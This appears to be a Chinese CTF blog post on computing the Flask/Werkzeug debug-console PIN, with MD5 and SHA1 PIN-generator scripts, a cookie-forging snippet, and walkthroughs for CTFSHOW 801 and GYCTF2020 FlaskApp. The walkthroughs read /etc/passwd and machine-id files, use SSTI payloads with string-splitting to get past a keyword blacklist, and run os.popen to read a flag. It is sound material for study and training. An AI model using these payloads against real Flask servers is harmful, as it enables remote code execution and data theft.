Flask计算pin码

Saofe1a

pin码也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式

PIN生成要素

我们需要下面的各个因素,然后获得pin码,也就是console的密码,就可以自己输出命令

  1. username,用户名
  2. modname,默认值为flask.app
  3. appname,默认值为Flask
  4. moddir,flask库下app.py的绝对路径
  5. uuidnode,当前网络的mac地址的十进制数
  6. machine_id,docker机器id

username

通过getpass.getuser()读取,通过文件读取/etc/passwd

modname

通过getattr(mod,“file”,None)读取,默认值为flask.app

appname

通过getattr(app,“name”,type(app).name)读取,默认值为Flask

moddir

当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取

uuidnode

通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算

machine_id

每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取

1
2
3
/etc/machine-id 
/proc/sys/kernel/random/boot_id
/proc/self/cgroup

PIN生成脚本

3.6通过md5加密,3.8通过sha1进行加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
'2485377581187',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'# /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

如果需要手动生成cookie,上传用于身份验证,从而实现命令执行,则在代码脚本的最后加上

1
2
3
4
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")

实战中如果找不到pin码提交的入口,可以访问/conslole试试

例题

CTFSHOW 801

moddir:看见了绝对地址,和python3.8

/file?filename=/etc/passwd,username为root,modname和appname默认

/file?filename=/sys/class/net/eth0/address这个242AC0CBEC7是十六进制,我们将其转化为十进制,拿到uuidnode为2485377613511

id:

1
2
file?filename=/proc/sys/kernel/random/boot_id
file?filename=/proc/self/cgroup

拼接得到id,225374fa-04bc-4346-9f39-48fa82829ca9c351f079ccfbe0fa8c060868cd0b50e0611170278854dd7c0812704415d43d44扔到3.8脚本中跑得到821-583-461,找到console输入这串,最后输入命令拿到flag

1
2
import os
os.popen('cat /flag').read()

[GYCTF2020]FlaskApp

打开环境是一个base64编解码的网站,右键源代码又发现<!-- PIN --->,尝试/console页面也发现需要pin密码,到这里可以猜到要利用Flask的Debug模式

在decode页面随意输入值发现报错,并泄露了源码

1
2
3
4
5
6
7
8
9
10
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)

这里通过render_template_string造成ssti注入,那么很容易想到通过ssti命令读取各个文件拿到相应的数据最后算出PIN

法一

读取/etc/passwd获取username

1
2
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}
e3t7fS5fX2NsYXNzX18uX19tcm9fX1stMV0uX19zdWJjbGFzc2VzX18oKVsxMDJdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydvcGVuJ10oJy9ldGMvcGFzc3dkJykucmVhZCgpfX0=

modname和appname仍为固定值flask.app、Flask,通过前面的报错也知道了app.py的绝对路径
/usr/local/lib/python3.7/site-packages/flask/app.py
剩下的都和前面ctfshow的几乎一模一样,这里就不说了

法二

读源码{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

发现有过滤

1
2
3
4
5
6
def waf(str):  
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

那我们就用字符串拼接绕过
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/this_is_the_f'+'lag.txt','r').read()}}{% endif %}{% endfor %}

还可以看一下newstarctf 2023 week5 pppython?这道题
https://blog.csdn.net/m0_73512445/article/details/133694293

  • Title: Flask计算pin码
  • Author: Saofe1a
  • Created at : 2024-10-17 10:42:44
  • Updated at : 2024-10-17 10:41:57
  • Link: https://saofeia.github.io/2024/10/17/Flask计算pin码/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments